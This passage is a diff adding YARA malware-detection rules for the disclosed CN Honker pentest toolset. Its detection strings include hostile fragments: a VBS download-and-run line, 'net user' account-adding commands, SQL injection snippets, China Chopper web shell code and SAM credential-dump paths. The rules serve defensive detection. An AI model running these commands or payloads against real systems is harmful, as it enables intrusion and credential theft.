+		$s2 = ".\\dat\\Hookmsgina.dll" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "WinlogonHackEx " fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 160KB and all of them
+}
+
+rule CN_Honker_sig_3389_DUBrute_v3_0_RC3_3_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file 3.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "49b311add0940cf183e3c7f3a41ea6e516bf8992"
+	strings:
+		$s0 = "explorer.exe http://bbs.yesmybi.net" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "LOADER ERROR" fullword ascii /* PEStudio Blacklist: strings */
+		$s9 = "CryptGenRandom" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 581 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 395KB and all of them
+}
+
+rule CN_Honker_windows_exp {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file exp.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "04334c396b165db6e18e9b76094991d681e6c993"
+	strings:
+		$s0 = "c:\\windows\\system32\\command.com /c " fullword ascii /* PEStudio Blacklist: strings */
+		$s8 = "OH,Sry.Too long command." fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and all of them
+}
+
+rule CN_Honker_safe3wvs_cgiscan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file cgiscan.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f94bbf2034ad9afa43cca3e3a20f142e0bb54d75"
+	strings:
+		$s2 = "httpclient.exe" fullword wide
+		$s3 = "www.safe3.com.cn" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 357KB and all of them
+}
+
+rule CN_Honker_pr_debug {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file debug.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d11e6c6f675b3be86e37e50184dadf0081506a89"
+	strings:
+		$s1 = "-->Got WMI process Pid: %d " ascii /* PEStudio Blacklist: strings */
+		$s2 = "This exploit will execute \"net user temp 123456 /add & net localg" ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 820KB and all of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v4_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v4.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "98f21f72c761e504814f0a7db835a24a2413a6c2"
+	strings:
+		$s0 = "LOADER ERROR" fullword ascii /* PEStudio Blacklist: strings */
+		$s15 = "2011-2012 T00LS&RICES" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2077KB and all of them
+}
+
+rule CN_Honker_MatriXay1073 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file MatriXay1073.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fef951e47524f827c7698f4508ba9551359578a5"
+	strings:
+		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1" ascii /* PEStudio Blacklist: strings */
+		$s1 = "Policy\\Scan\\GetUserLen.ini" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "!YEL!Using http://127.0.0.1:%d/ to visiter https://%s:%d/" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "getalluserpasswordhash" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 9100KB and all of them
+}
+
+rule CN_Honker_Sword1_5 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Sword1.5.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "96ee5c98e982aa8ed92cb4cedb85c7fda873740f"
+	strings:
+		$s1 = "http://www.md5.com.cn" fullword wide
+		$s2 = "ListBox_Command" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "\\Set.ini" fullword wide
+		$s4 = "OpenFileDialog1" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 740KB and all of them
+}
+
+rule CN_Honker_Havij_Havij {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Havij.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0d8b275bd1856bc6563dd731956f3b312e1533cd"
+	strings:
+		$s1 = "User-Agent: %Inject_Here%" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "BACKUP database master to disk='d:\\Inetpub\\wwwroot\\1.zip'" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Honker_exp_ms11011 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms11011.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5ad7a4962acbb6b0e3b73d77385eb91feb88b386"
+	strings:
+		$s0 = "\\i386\\Hello.pdb" ascii /* PEStudio Blacklist: strings */
+		$s1 = "OS not supported." fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = ".Rich5" fullword ascii
+		$s3 = "Not supported." fullword wide /* PEStudio Blacklist: strings */ /* Goodware String - occured 3 times */
+		$s5 = "cmd.exe" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 120 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule CN_Honker_DLL_passive_privilege_escalation_ws2help {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ws2help.dll"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e539b799c18d519efae6343cff362dcfd8f57f69"
+	strings:
+		$s0 = "PassMinDll.dll" fullword ascii
+		$s1 = "\\ws2help.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and all of them
+}
+
+rule CN_Honker_Webshell {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Webshell.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c85bd09d241c2a75b4e4301091aa11ddd5ad6d59"
+	strings:
+		$s1 = "Windows NT users: Please note that having the WinIce/SoftIce" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Do you want to cancel the file download?" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Downloading: %s" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 381KB and all of them
+}
+
+rule CN_Honker_AspxClient {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file AspxClient.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "67569a89128f503a459eab3daa2032261507f2d2"
+	strings:
+		$s1 = "\\tools\\hashq\\hashq.exe" fullword wide
+		$s2 = "\\Release\\CnCerT.CCdoor.Client.pdb" fullword ascii
+		$s3 = "\\myshell.mdb" fullword wide /* PEStudio Blacklist: strings */
+		$s4 = "injectfile" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 3 of them
+}
+
+rule CN_Honker_Fckeditor {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Fckeditor.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4b16ae12c204f64265acef872526b27111b68820"
+	strings:
+		$s0 = "explorer.exe http://user.qzone.qq.com/568148075" fullword wide /* PEStudio Blacklist: strings */
+		$s7 = "Fckeditor.exe" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1340KB and all of them
+}
+
+rule CN_Honker_Codeeer_Explorer {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Codeeer Explorer.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f32e05f3fefbaa2791dd750e4a3812581ce0f205"
+	strings:
+		$s2 = "Codeeer Explorer.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s12 = "webBrowser1_ProgressChanged" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 470KB and all of them
+}
+
+rule CN_Honker_SwordHonkerEdition {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SwordHonkerEdition.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3f9479151c2cada04febea45c2edcf5cece1df6c"
+	strings:
+		$s0 = "\\bin\\systemini\\MyPort.ini" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "PortThread=200 //" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = " Port Open -> " fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 375KB and all of them
+}
+
+rule CN_Honker_HASH_PwDump7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file PwDump7.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "93a2d7c3a9b83371d96a575c15fe6fce6f9d50d3"
+	strings:
+		$s1 = "%s\\SYSTEM32\\CONFIG\\SAM" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "No Users key!" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "NO PASSWORD*********************:" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Unable to dump file %S" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 380KB and all of them
+}
+
+rule CN_Honker_ChinaChopper {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ChinaChopper.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fa347fdb23ab0b8d0560a0d20c434549d78e99b5"
+	strings:
+		$s1 = "$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST[\"z1\"]):$_POST[\"z1\"];$u" wide /* PEStudio Blacklist: strings */
+		$s3 = "SETP c:\\windows\\system32\\cmd.exe " fullword wide /* PEStudio Blacklist: strings */
+		$s4 = "Ev al (\"Exe cute(\"\"On+Error+Resume+Next:%s:Response.Write(\"\"\"\"->|\"\"\"\"" wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them
+}
+
+rule CN_Honker_dedecms5_7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file dedecms5.7.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f9cbb25883828ca266e32ff4faf62f5a9f92c5fb"
+	strings:
+		$s1 = "/data/admin/ver.txt" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "SkinH_EL.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 830KB and all of them
+}
+
+rule CN_Honker_Alien_ee {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ee.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "15a7211154ee7aca29529bd5c2500e0d33d7f0b3"
+	strings:
+		$s1 = "GetIIS UserName and PassWord." fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "Read IIS ID For FreeHost." fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule CN_Honker_smsniff_smsniff {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file smsniff.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "8667a785a8ced76d0284d225be230b5f1546f140"
+	strings:
+		$s1 = "smsniff.exe" fullword wide
+		$s5 = "SmartSniff" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 267KB and all of them
+}
+
+rule CN_Honker_Happy_Happy {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Happy.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "92067d8dad33177b5d6c853d4d0e897f2ee846b0"
+	strings:
+		$s1 = "<form.*?method=\"post\"[\\s\\S]*?</form>" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "domainscan.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "http://www.happysec.com/" fullword wide
+		$s4 = "cmdshell" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 655KB and 2 of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v3_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v3.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fa47c4affbac01ba5606c4862fdb77233c1ef656"
+	strings:
+		$s1 = "http://127.0.0.1/1.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = ":Rices  Forum:T00Ls.Net  [4 Fucker Te@m]" fullword wide
+		$s3 = "SkinH_EL.dll" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them
+}
+
+rule CN_Honker_NetFuke_NetFuke {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file NetFuke.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f89e223fd4f6f5a3c2a2ea225660ef0957fc07ba"
+	strings:
+		$s1 = "Mac Flood: Flooding %dT %d p/s " fullword ascii
+		$s2 = "netfuke_%s.txt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1840KB and all of them
+}
+
+rule CN_Honker_ManualInjection {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ManualInjection.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e83d427f44783088a84e9c231c6816c214434526"
+	strings:
+		$s0 = "http://127.0.0.1/cookie.asp?fuck=" fullword ascii /* PEStudio Blacklist: strings */
+		$s16 = "http://Www.cnhuker.com | http://www.0855.tv" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Honker_CnCerT_CCdoor_CMD {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CnCerT.CCdoor.CMD.dll"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1c6ed7d817fa8e6534a5fd36a94f4fc2f066c9cd"
+	strings:
+		$s2 = "CnCerT.CCdoor.CMD.dll" fullword wide
+		$s3 = "cmdpath" fullword ascii
+		$s4 = "Get4Bytes" fullword ascii
+		$s5 = "ExcuteCmd" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 22KB and all of them
+}
+
+rule CN_Honker_termsrvhack {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file termsrvhack.dll"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1c456520a7b7faf71900c71167038185f5a7d312"
+	strings:
+		$s1 = "The terminal server cannot issue a client license.  It was unable to issue the" wide /* PEStudio Blacklist: strings */
+		$s6 = "%s\\%s\\%d\\%d" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1052KB and all of them
+}
+
+rule CN_Honker_IIS6_iis6 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file iis6.com"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f0c9106d6d2eea686fd96622986b641968d0b864"
+	strings:
+		$s0 = "GetMod;ul" fullword ascii
+		$s1 = "excjpb" fullword ascii
+		$s2 = "LEAUT1" fullword ascii
+		$s3 = "EnumProcessModules" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 410 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule CN_Honker_struts2_catbox {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file catbox.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ee8fbd91477e056aef34fce3ade474cafa1a4304"
+	strings:
+		$s6 = "'Toolmao box by gainover www.toolmao.com" fullword ascii
+		$s20 = "{external.exeScript(_toolmao_bgscript[i],'javascript',false);}}" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 8160KB and all of them
+}
+
+rule CN_Honker_getlsasrvaddr {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file getlsasrvaddr.exe - WCE Amplia Security"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a897d5da98dae8d80f3c0a0ef6a07c4b42fb89ce"
+	strings:
+		$s8 = "pingme.txt" fullword ascii /* PEStudio Blacklist: strings */
+		$s16 = ".\\lsasrv.pdb" fullword ascii
+		$s20 = "Addresses Found: " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule CN_Honker_ms10048_x64 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms10048-x64.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "418bec3493c85e3490e400ecaff5a7760c17a0d0"
+	strings:
+		$s1 = "[ ] Creating evil window" fullword ascii
+		$s2 = "[+] Set to %d exploit half succeeded" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 125KB and all of them
+}
+
+rule CN_Honker_LogCleaner {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file LogCleaner.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ab77ed5804b0394d58717c5f844d9c0da5a9f03e"
+	strings:
+		$s3 = ".exe <ip> [(path]" fullword ascii
+		$s4 = "LogCleaner v" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule CN_Honker_shell_brute_tool {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file shell_brute_tool.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f6903a15453698c35dce841e4d09c542f9480f01"
+	strings:
+		$s0 = "http://24hack.com/xyadmin.asp" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule CN_Honker_hxdef100 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file hxdef100.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "bf30ccc565ac40073b867d4c7f5c33c6bc1920d6"
+	strings:
+		$s6 = "BACKDOORSHELL" fullword ascii /* PEStudio Blacklist: strings */
+		$s15 = "%tmpdir%" fullword ascii
+		$s16 = "%cmddir%" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_Arp_EMP_v1_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Arp EMP v1.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ae4954c142ad1552a2abaef5636c7ef68fdd99ee"
+	strings:
+		$s0 = "Arp EMP v1.0.exe" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule CN_Honker_GetWebShell {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetWebShell.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b63b53259260a7a316932c0a4b643862f65ee9f8"
+	strings:
+		$s0 = "echo P.Open \"GET\",\"http://www.baidu.com/ma.exe\",0 >>run.vbs" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "http://127.0.0.1/sql.asp?id=1" fullword wide /* PEStudio Blacklist: strings */
+		$s14 = "net user admin$ hack /add" fullword wide /* PEStudio Blacklist: strings */
+		$s15 = ";Drop table [hack];create table [dbo].[hack] ([cmd] [image])--" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 70KB and 1 of them
+}
+
+rule CN_Honker_Cracker_SHELL {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SHELL.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c1dc349ff44a45712937a8a9518170da8d4ee656"
+	strings:
+		$s1 = "http://127.0.0.1/error1.asp" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "password,PASSWORD,pass,PASS,Lpass,lpass,Password" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "\\SHELL" fullword wide /* PEStudio Blacklist: strings */
+		$s4 = "WebBrowser1" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_MSTSC_can_direct_copy {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file MSTSC_can_direct_copy.EXE"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2f3cbfd9f82f8abafdb1d33235fa6bfa1e1f71ae"
+	strings:
+		$s1 = "srv\\newclient\\lib\\win32\\obj\\i386\\mstsc.pdb" fullword ascii
+		$s2 = "Clear Password" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "/migrate -- migrates legacy connection files that were created with " fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule CN_Honker_lcx_lcx {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - HTRAN - file lcx.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0c8779849d53d0772bbaa1cedeca150c543ebf38"
+	strings:
+		$s1 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "=========== Code by lion & bkbll" ascii
+		$s3 = "Welcome to [url]http://www.cnhonker.com[/url] " ascii
+		$s4 = "-tran   <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "[+] Start Transmit (%s:%d <-> %s:%d) ......" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 1 of them
+}
+
+rule CN_Honker_PostgreSQL {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file PostgreSQL.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1ecfaa91aae579cfccb8b7a8607176c82ec726f4"
+	strings:
+		$s1 = "&http://192.168.16.186/details.php?id=1" fullword ascii
+		$s2 = "PostgreSQL_inject" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule CN_Honker_WebRobot {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file WebRobot.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "af054994c911b4301490344fca4bb19a9f394a8f"
+	strings:
+		$s1 = "%d-%02d-%02d %02d^%02d^%02d ScanReprot.htm" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\log\\ProgramDataFile.dat" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\data\\FilterKeyword.txt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule CN_Honker_Baidu_Extractor_Ver1_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Baidu_Extractor_Ver1.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1899f979360e96245d31082e7e96ccedbdbe1413"
+	strings:
+		$s3 = "\\Users\\Admin" fullword wide /* PEStudio Blacklist: strings */
+		$s11 = "soso.com" fullword wide
+		$s12 = "baidu.com" fullword wide
+		$s19 = "cmd /c ping " fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+rule CN_Honker_FTP_scanning {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file FTP_scanning.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5a3543ee5aed110c87cbc3973686e785bcb5c44e"
+	strings:
+		$s1 = "CNotSupportedE" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "nINet.dll" fullword ascii
+		$s9 = "?=MODULE" fullword ascii /* PEStudio Blacklist: strings */
+		$s13 = "MSIE 6*" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 550KB and all of them
+}
+
+rule CN_Honker_dirdown_dirdown {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file dirdown.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7b8d51c72841532dded5fec7e7b0005855b8a051"
+	strings:
+		$s0 = "\\Decompress\\obj\\Release\\Decompress.pdb" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "Decompress.exe" fullword wide
+		$s5 = "Get8Bytes" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 45KB and all of them
+}
+
+rule CN_Honker_Xiaokui_conversion_tool {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Xiaokui_conversion_tool.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "dccd163e94a774b01f90c1e79f186894e2f27de3"
+	strings:
+		$s1 = "update [dv_user] set usergroupid=1 where userid=2;--" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "To.exe" fullword wide
+		$s3 = "by zj1244" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and 2 of them
+}
+
+rule CN_Honker_GroupPolicyRemover {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GroupPolicyRemover.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7475d694e189b35899a2baa462957ac3687513e5"
+	strings:
+		$s0 = "GP_killer.EXE" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "GP_killer Microsoft " fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "SHDeleteKeyA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 79 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule CN_Honker_WordpressScanner {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file WordpressScanner.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0b3c5015ba3616cbc616fc9ba805fea73e98bc83"
+	strings:
+		$s0 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+		$s1 = "(http://www.eyuyan.com)" fullword wide
+		$s2 = "GetConnectString" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule CN_Honker_Htran_V2_40_htran20 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file htran20.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
